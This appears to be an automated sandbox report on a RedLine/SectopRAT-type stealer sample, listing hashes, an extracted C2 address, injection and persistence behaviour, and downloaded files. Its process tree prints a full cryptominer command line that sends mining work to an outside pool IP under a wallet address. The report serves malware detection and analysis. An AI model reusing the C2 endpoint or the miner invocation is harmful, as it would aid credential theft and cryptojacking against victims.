Analysis
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max time kernel
149s -
max time network
151s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system -
submitted
27-11-2024 09:31
Static task
static1
Behavioral task
behavioral1
Sample
142727883c537e287bae329e5a2e0ce8.exe
Resource
win7-20241010-en
General
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Target
142727883c537e287bae329e5a2e0ce8.exe
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Size
1.1MB
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MD5
142727883c537e287bae329e5a2e0ce8
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SHA1
981eaaaba35b326a5dbe386cc5a02adeb52447e7
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SHA256
234789947ece36321386c3decbeafd2933da462f41056a27b042db2c2fd8aea7
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SHA512
e557519293c0518f5df61d77b42a1f2b4ee58c1bb33ae3db5b7c2da4754bf54f652e51f2e437b138fb62e6750b6caa2c882332ef9b86713f9c8a62566a821212
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SSDEEP
24576:1MOjO8wmd7hUjBGna1qIWFLISsSaYEbJgEK8LFYUs:1MOjO857CjJuLI1lyEfx
Malware Config
Extracted
redline
iShop
venom.underground-cheat.com:1337
Signatures
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RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
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RedLine payload 1 IoCs
resource yara_rule behavioral2/memory/3440-1092-0x0000000000400000-0x000000000041E000-memory.dmp family_redline -
Redline family
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SectopRAT payload 1 IoCs
resource yara_rule behavioral2/memory/3440-1092-0x0000000000400000-0x000000000041E000-memory.dmp family_sectoprat -
Sectoprat family
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Suspicious use of NtCreateUserProcessOtherParentProcess 2 IoCs
description pid Process procid_target PID 4212 created 3428 4212 142727883c537e287bae329e5a2e0ce8.exe 55 PID 448 created 3428 448 eimdbt.exe 55 -
Downloads MZ/PE file
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Drops startup file 1 IoCs
description ioc Process File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\StackTrace.vbs eimdbt.exe -
Executes dropped EXE 1 IoCs
pid Process 448 eimdbt.exe -
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
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Suspicious use of SetThreadContext 3 IoCs
description pid Process procid_target PID 4212 set thread context of 3440 4212 142727883c537e287bae329e5a2e0ce8.exe 96 PID 448 set thread context of 3620 448 eimdbt.exe 103 PID 3620 set thread context of 1020 3620 InstallUtil.exe 112 -
System Location Discovery: System Language Discovery 1 TTPs 2 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 142727883c537e287bae329e5a2e0ce8.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language InstallUtil.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 4212 142727883c537e287bae329e5a2e0ce8.exe 3440 InstallUtil.exe 3440 InstallUtil.exe 448 eimdbt.exe 3620 InstallUtil.exe 3620 InstallUtil.exe 3620 InstallUtil.exe 3620 InstallUtil.exe 3620 InstallUtil.exe 3620 InstallUtil.exe 3620 InstallUtil.exe 3620 InstallUtil.exe 3620 InstallUtil.exe 3620 InstallUtil.exe 3620 InstallUtil.exe 3620 InstallUtil.exe 3620 InstallUtil.exe 3620 InstallUtil.exe 3620 InstallUtil.exe 3620 InstallUtil.exe 3620 InstallUtil.exe 3620 InstallUtil.exe 3620 InstallUtil.exe 3620 InstallUtil.exe 3620 InstallUtil.exe 3620 InstallUtil.exe 3620 InstallUtil.exe 3620 InstallUtil.exe 3620 InstallUtil.exe 3620 InstallUtil.exe 3620 InstallUtil.exe 3620 InstallUtil.exe 3620 InstallUtil.exe 3620 InstallUtil.exe 3620 InstallUtil.exe 3620 InstallUtil.exe 3620 InstallUtil.exe 3620 InstallUtil.exe 3620 InstallUtil.exe 3620 InstallUtil.exe 3620 InstallUtil.exe 3620 InstallUtil.exe 3620 InstallUtil.exe 3620 InstallUtil.exe 3620 InstallUtil.exe 3620 InstallUtil.exe 3620 InstallUtil.exe 3620 InstallUtil.exe 3620 InstallUtil.exe 3620 InstallUtil.exe 3620 InstallUtil.exe 3620 InstallUtil.exe 3620 InstallUtil.exe 3620 InstallUtil.exe 3620 InstallUtil.exe 3620 InstallUtil.exe 3620 InstallUtil.exe 3620 InstallUtil.exe 3620 InstallUtil.exe 3620 InstallUtil.exe 3620 InstallUtil.exe 3620 InstallUtil.exe 3620 InstallUtil.exe 3620 InstallUtil.exe -
Suspicious use of AdjustPrivilegeToken 8 IoCs
description pid Process Token: SeDebugPrivilege 4212 142727883c537e287bae329e5a2e0ce8.exe Token: SeDebugPrivilege 4212 142727883c537e287bae329e5a2e0ce8.exe Token: SeDebugPrivilege 3440 InstallUtil.exe Token: SeDebugPrivilege 448 eimdbt.exe Token: SeDebugPrivilege 448 eimdbt.exe Token: SeDebugPrivilege 3620 InstallUtil.exe Token: SeLockMemoryPrivilege 1020 AddInProcess.exe Token: SeLockMemoryPrivilege 1020 AddInProcess.exe -
Suspicious use of FindShellTrayWindow 1 IoCs
pid Process 1020 AddInProcess.exe -
Suspicious use of WriteProcessMemory 33 IoCs
description pid Process procid_target PID 4212 wrote to memory of 3440 4212 142727883c537e287bae329e5a2e0ce8.exe 96 PID 4212 wrote to memory of 3440 4212 142727883c537e287bae329e5a2e0ce8.exe 96 PID 4212 wrote to memory of 3440 4212 142727883c537e287bae329e5a2e0ce8.exe 96 PID 4212 wrote to memory of 3440 4212 142727883c537e287bae329e5a2e0ce8.exe 96 PID 4212 wrote to memory of 3440 4212 142727883c537e287bae329e5a2e0ce8.exe 96 PID 4212 wrote to memory of 3440 4212 142727883c537e287bae329e5a2e0ce8.exe 96 PID 4212 wrote to memory of 3440 4212 142727883c537e287bae329e5a2e0ce8.exe 96 PID 4212 wrote to memory of 3440 4212 142727883c537e287bae329e5a2e0ce8.exe 96 PID 3440 wrote to memory of 448 3440 InstallUtil.exe 99 PID 3440 wrote to memory of 448 3440 InstallUtil.exe 99 PID 448 wrote to memory of 3620 448 eimdbt.exe 103 PID 448 wrote to memory of 3620 448 eimdbt.exe 103 PID 448 wrote to memory of 3620 448 eimdbt.exe 103 PID 448 wrote to memory of 3620 448 eimdbt.exe 103 PID 448 wrote to memory of 3620 448 eimdbt.exe 103 PID 448 wrote to memory of 3620 448 eimdbt.exe 103 PID 448 wrote to memory of 4512 448 eimdbt.exe 104 PID 448 wrote to memory of 4512 448 eimdbt.exe 104 PID 448 wrote to memory of 4512 448 eimdbt.exe 104 PID 3620 wrote to memory of 1020 3620 InstallUtil.exe 112 PID 3620 wrote to memory of 1020 3620 InstallUtil.exe 112 PID 3620 wrote to memory of 1020 3620 InstallUtil.exe 112 PID 3620 wrote to memory of 1020 3620 InstallUtil.exe 112 PID 3620 wrote to memory of 1020 3620 InstallUtil.exe 112 PID 3620 wrote to memory of 1020 3620 InstallUtil.exe 112 PID 3620 wrote to memory of 1020 3620 InstallUtil.exe 112 PID 3620 wrote to memory of 1020 3620 InstallUtil.exe 112 PID 3620 wrote to memory of 1020 3620 InstallUtil.exe 112 PID 3620 wrote to memory of 1020 3620 InstallUtil.exe 112 PID 3620 wrote to memory of 1020 3620 InstallUtil.exe 112 PID 3620 wrote to memory of 1020 3620 InstallUtil.exe 112 PID 3620 wrote to memory of 1020 3620 InstallUtil.exe 112 PID 3620 wrote to memory of 1020 3620 InstallUtil.exe 112
Processes
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵PID:3428
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C:\Users\Admin\AppData\Local\Temp\142727883c537e287bae329e5a2e0ce8.exe"C:\Users\Admin\AppData\Local\Temp\142727883c537e287bae329e5a2e0ce8.exe"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4212
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C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"2⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3440 -
C:\Users\Admin\AppData\Local\Temp\eimdbt.exe"C:\Users\Admin\AppData\Local\Temp\eimdbt.exe"3⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops startup file
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:448 -
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe"4⤵PID:4512
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C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe"2⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3620 -
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe -o 85.31.47.143:3333 -a rx -k -u KAS:kaspa:qqjn2sfatk0dmj0x47yns4xlyp3avwp46mhum864y5kc3hcrajwy7v5npvpn8.RIG_CPU -p x --cpu-max-threads-hint=503⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:1020
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
2.1MB
MD5169a647d79cf1b25db151feb8d470fc7
SHA186ee9ba772982c039b070862d6583bcfed764b2c
SHA256e61431610df015f48ebc4f4bc0492c4012b34d63b2f474badf6085c9dbc7f708
SHA512efb5fd3e37da05611be570fb87929af73e7f16639b5eb23140381434dc974afc6a69f338c75ede069b387015e302c5106bf3a8f2727bb0406e7ca1de3d48a925
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Filesize
40KB
MD5a182561a527f929489bf4b8f74f65cd7
SHA18cd6866594759711ea1836e86a5b7ca64ee8911f
SHA25642aad7886965428a941508b776a666a4450eb658cb90e80fae1e7457fc71f914
SHA5129bc3bf5a82f6f057e873adebd5b7a4c64adef966537ab9c565fe7c4bb3582e2e485ff993d5ab8a6002363231958fabd0933b48811371b8c155eaa74592b66558
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Filesize
114KB
MD5a1eeb9d95adbb08fa316226b55e4f278
SHA1b36e8529ac3f2907750b4fea7037b147fe1061a6
SHA2562281f98b872ab5ad2d83a055f3802cbac4839f96584d27ea1fc3060428760ba7
SHA512f26de5333cf4eaa19deb836db18a4303a8897bf88bf98bb78c6a6800badbaa7ab6aeb6444bbbe0e972a5332670bdbb474565da351f3b912449917be21af0afb8
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Filesize
48KB
MD5349e6eb110e34a08924d92f6b334801d
SHA1bdfb289daff51890cc71697b6322aa4b35ec9169
SHA256c9fd7be4579e4aa942e8c2b44ab10115fa6c2fe6afd0c584865413d9d53f3b2a
SHA5122a635b815a5e117ea181ee79305ee1baf591459427acc5210d8c6c7e447be3513ead871c605eb3d32e4ab4111b2a335f26520d0ef8c1245a4af44e1faec44574
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Filesize
20KB
MD549693267e0adbcd119f9f5e02adf3a80
SHA13ba3d7f89b8ad195ca82c92737e960e1f2b349df
SHA256d76e7512e496b7c8d9fcd3010a55e2e566881dc6dacaf0343652a4915d47829f
SHA512b4b9fcecf8d277bb0ccbb25e08f3559e3fc519d85d8761d8ad5bca983d04eb55a20d3b742b15b9b31a7c9187da40ad5c48baa7a54664cae4c40aa253165cbaa2
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Filesize
116KB
MD5f70aa3fa04f0536280f872ad17973c3d
SHA150a7b889329a92de1b272d0ecf5fce87395d3123
SHA2568d782aa65de6db3538a14da82216e96d5e0a3c60496726e3541a8165bccc65f8
SHA51230675c5c610d9aa32a4c4a4d9c3af7570823cd197f8d2a709222c78e2cd15304bbed80e233e3674ec2f6e33d1961c67fd6a46dc8ba8b1a301cd0722932c03c84
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Filesize
96KB
MD540f3eb83cc9d4cdb0ad82bd5ff2fb824
SHA1d6582ba879235049134fa9a351ca8f0f785d8835
SHA256cdd772b00ae53d4050150552b67028b7344bb1d345bceb495151cc969c27a0a0
SHA512cdd4dbf0b1ba73464cd7c5008dc05458862e5f608e336b53638a14965becd4781cdea595fd6bd18d0bf402dccffd719da292a6ce67d359527b4691dc6d6d4cc2